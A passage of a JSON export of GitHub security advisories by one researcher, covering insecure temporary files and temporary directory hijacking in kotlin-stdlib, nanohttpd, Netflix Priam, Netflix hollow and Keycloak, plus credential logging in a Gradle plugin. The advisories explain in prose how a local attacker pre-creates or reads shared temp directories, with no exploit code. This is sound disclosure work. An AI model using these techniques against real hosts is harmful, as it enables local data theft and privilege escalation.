"publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-5w9v-8x7x-rfqm", "type": "GHSA" }, { "value": "CVE-2020-29582", "type": "CVE" } ], "state": "published", "created_at": "2022-02-03T19:40:43Z", "updated_at": "2022-02-03T20:42:27Z", "published_at": "2022-02-03T19:51:08Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": " org.jetbrains.kotlin:kotlin-stdlib" }, "vulnerable_version_range": "> 0", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-378", "name": "Creation of Temporary File With Insecure Permissions" }, { "cwe_id": "CWE-379", "name": "Creation of Temporary File in Directory with Insecure Permissions" } ], "cwe_ids": [ "CWE-378", "CWE-379" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-2r85-x9cf-8fcg", "cve_id": "CVE-2022-21230", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-2r85-x9cf-8fcg", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-2r85-x9cf-8fcg", "summary": "Creation of Temporary File With Insecure Permissions in org.nanohttpd:nanohttpd", "description": "### Patches\r\n\r\nNo patches are available. The maintainers have been unresponsive. It may be appropriate to consider this project unmaintained at this point.\r\n\r\n### Impact\r\n\r\nThe `org.nanohttpd.protocols.http.tempfiles.DefaultTempFileManager` & `org.nanohttpd.protocols.http.tempfiles.DefaultTempFile` contain a local temporary file information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. As such, files written to that directory without setting the correct file permissions can allow other users on that system to view the contents of the files written to those temporary files.\r\n\r\n#### Vulnerability Locations\r\n\r\n - https://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/tempfiles/DefaultTempFile.java#L58\r\n - https://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/tempfiles/DefaultTempFileManager.java#L60\r\n\r\nWhenever an HTTP Session is parsing the body of an HTTP request, the body of the request is written to a RandomAccessFile when the body is larger than 1024 bytes. Unfortunately, RandomAccessFile is created using a temporary file which is created with file permissions that allow it's contents to be viewed by all users on the host machine.\r\n\r\nhttps://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/HTTPSession.java#L611-L617\r\n\r\n### Workarounds\r\n\r\nManually specifying the `-Djava.io.tmpdir=` argument when launching Java to set set the temporary directory to a directory exclusively controlled by the current user can fix this issue.\r\n\r\n### References\r\n - https://security.snyk.io/vuln/SNYK-JAVA-ORGNANOHTTPD-2422798\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-2r85-x9cf-8fcg", "type": "GHSA" }, { "value": "CVE-2022-21230", "type": "CVE" } ], "state": "published", "created_at": "2022-01-28T02:33:00Z", "updated_at": "2022-04-06T18:38:01Z", "published_at": "2022-04-06T18:38:01Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.nanohttpd:nanohttpd" }, "vulnerable_version_range": "<=2.3.1", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-378", "name": "Creation of Temporary File With Insecure Permissions" } ], "cwe_ids": [ "CWE-378" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-6m9h-r5m3-9r7f", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-6m9h-r5m3-9r7f", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-6m9h-r5m3-9r7f", "summary": "REDACTED", "description": "REDACTED", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-6m9h-r5m3-9r7f", "type": "GHSA" } ], "state": "closed", "created_at": "2022-01-20T23:27:50Z", "updated_at": "2023-02-27T19:48:30Z", "published_at": null, "closed_at": "2023-02-27T19:48:30Z", "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": " ", "name": "REDACTED" }, "vulnerable_version_range": "3.16", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 6.5 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-f4jh-ww96-9h9j", "cve_id": "CVE-2021-28100", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-f4jh-ww96-9h9j", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-f4jh-ww96-9h9j", "summary": "Netflix/Priam: Temporary Directory Information Disclosure", "description": "### Impact\r\n\r\nWhen `File.createTempFile` creates a file, the permissions on that file are -rw-r--r--. This means that other users can read the contents of these files after they are written, although they can not modify the contents. This allows for local information disclosure if these files contain sensitive information.\r\n\r\nVulnerable locations:\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/backup/MetaData.java#L106-L111\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/identity/DoubleRing.java#L109-L118\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/restore/PostRestoreHook.java#L80-L86\r\n\r\n---\r\n\r\nThe custom CodeQL queries leveraged to find these this as well as their results can be found here:\r\n\r\nhttps://lgtm.com/query/1543383251073929777/\r\nhttps://lgtm.com/query/3142895023158674709/\r\n\r\n## Official Disclosure\r\n\r\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2021-002.md\r\n\r\n## Fix\r\n\r\nThere are no fixed versions.", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-f4jh-ww96-9h9j", "type": "GHSA" }, { "value": "CVE-2021-28100", "type": "CVE" } ], "state": "published", "created_at": "2021-03-22T23:38:20Z", "updated_at": "2021-03-30T14:57:18Z", "published_at": "2021-03-30T14:57:18Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "", "name": "Netflix/Priam" }, "vulnerable_version_range": "All", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "score": 6.2 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-j83w-7qr9-wv86", "cve_id": "CVE-2021-28099", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-j83w-7qr9-wv86", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-j83w-7qr9-wv86", "summary": "Netflix/hollow: Temporary directory hijacking", "description": "### Impact\r\nTemporary directory hijacking.\r\n\r\nThis vulnerability exists because Netflix/hollow will use files/directories that already exist on the system without first checking their permissions.\r\n\r\nThis vulnerability can be seen here:\r\nhttps://github.com/Netflix/hollow/blob/eeefe2454ed2efce60b8971e1a02d8f7375ea7fb/hollow/src/main/java/com/netflix/hollow/api/producer/fs/HollowFilesystemBlobStager.java#L112-L140\r\n\r\nSince the Files.exists(parent) is run before creating the directories, an attacker can pre-create these directories with wide permissions.\r\n\r\nAdditionally, since an insecure source of randomness is used, the file names to be created can be deterministically calculated.\r\n\r\nhttps://github.com/Netflix/hollow/blob/eeefe2454ed2efce60b8971e1a02d8f7375ea7fb/hollow/src/main/java/com/netflix/hollow/api/producer/fs/HollowFilesystemBlobStager.java#L110\r\n\r\nAs such, an attacker is fully able to control both the contents of the files and directories that HollowFilesystemBlobStager operates on.\r\n\r\n---\r\n\r\nThe custom CodeQL queries leveraged to find these this as well as their results can be found here:\r\n\r\nhttps://lgtm.com/query/1543383251073929777/\r\nhttps://lgtm.com/query/3142895023158674709/\r\n\r\n## Official Disclosure\r\n\r\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2021-001.md\r\n\r\n## Fixed Version\r\n\r\nThis vulnerability has not been patched.\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-j83w-7qr9-wv86", "type": "GHSA" }, { "value": "CVE-2021-28099", "type": "CVE" } ], "state": "published", "created_at": "2021-03-22T23:34:10Z", "updated_at": "2021-03-30T14:52:37Z", "published_at": "2021-03-30T14:52:37Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.netflix.hollow:hollow" }, "vulnerable_version_range": "All", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "score": 7.8 }, "cwes": [], "cwe_ids": [], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7gf3-89f6-823j", "cve_id": "CVE-2021-20202", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7gf3-89f6-823j", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7gf3-89f6-823j", "summary": "Keycloak: Local Temporary Directory Hijacking Vulnerability", "description": "Utilizing a custom CodeQL query written as a part of the GitHub Security Lab Bug Bounty program, I've unearthed a local temporary directory hijacking vulnerability.\r\n\r\nThis particular vulnerability impacts Keycloak/keycloak\r\n\r\nYou can see the custom CodeQL query utilized here:\r\nhttps://lgtm.com/query/7674880310425951666/\r\n\r\nThis particular vulnerability exists because on unix-like systems (not including MacOS) the system temporary directory is shared between all users.\r\nAs such, failure to correctly set file permissions and/or verify exclusive creation of directories can lead to either local information disclosure, or local file hijacking by another user.\r\n\r\nIn the worse case scenario, this can lead to a local privilege escalation vulnerability, as it did in this vulnerability I disclosed in Jetty:\r\nhttps://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6\r\n\r\nIn this case, it does not look like code is explicitly intended to be written to these directories. However, it does look like the GzipResourceEncodingProviderFactory.java is used as the creator of a cache. Thus, a malicious user can perform cache poisoning.\r\n\r\nAdditionally, DirExportProvider.java looks like it's being used to export information. This information can be corrupted by a different user.\r\n\r\nOne of many root causes here is that `mkdir` and `mkdirs` do not fail if the directory already exists. They merely return `false`. As such, an attacker can create these directories before the java process creates them, but with wider user permissions. Since these directory names are not in any way random, the attacker can simply create these directories ahead of Keycloak. When this happens, the java process doesn't complain that the directories already exist, `mkdir` and `mkdirs` simply return false.\r\n\r\nHowever, assuming that the java process is the first thing to create these directories, `mkdir` and `mkdirs` will only set the directory following the default umask (I believe); by default that means that these directories are created with the permissions `drwxr-xr-x`.\r\nThus allowing a malicious local user to read the contents of this temporary directory.\r\n\r\n## Official Disclosure\r\n\r\nhttps://access.redhat.com/security/cve/cve-2021-20202\r\n\r\n## Official Fix\r\nhttps://github.com/keycloak/keycloak/pull/7859/files", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7gf3-89f6-823j", "type": "GHSA" }, { "value": "CVE-2021-20202", "type": "CVE" } ], "state": "published", "created_at": "2021-03-16T14:47:16Z", "updated_at": "2021-12-22T20:26:37Z", "published_at": "2021-12-22T20:26:37Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.keycloak:keycloak-services" }, "vulnerable_version_range": "12.0.0 < 13.0.0", "patched_versions": "13.0.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "score": 6.3 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-jpcm-4485-69p7", "cve_id": "CVE-2021-21361", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-jpcm-4485-69p7", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-jpcm-4485-69p7", "summary": "Sensitive information disclosure via log in com.bmuschko:gradle-vagrant-plugin", "description": "### Impact\r\n\r\nThe `com.bmuschko:gradle-vagrant-plugin` Gradle plugin contains an information disclosure vulnerability due to the logging of the system environment variables.\r\n\r\nWhen this Gradle plugin is executed in public CI/CD, this can lead to sensitive credentials being exposed to malicious actors.\r\n\r\n### Patches\r\nFixed in version 3.0.0\r\n\r\n### References\r\n\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/blob/292129f9343d00d391543fae06239e9b0f33db73/src/main/groovy/com/bmuschko/gradle/vagrant/process/GDKExternalProcessExecutor.groovy#L42-L44\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/issues/19\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/pull/20\r\n\r\n### For more information\r\n\r\nIf you have any questions or comments about this advisory:\r\n* Open an issue in [bmuschko/gradle-vagrant-plugin](https://github.com/bmuschko/gradle-vagrant-plugin)\r\n\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": 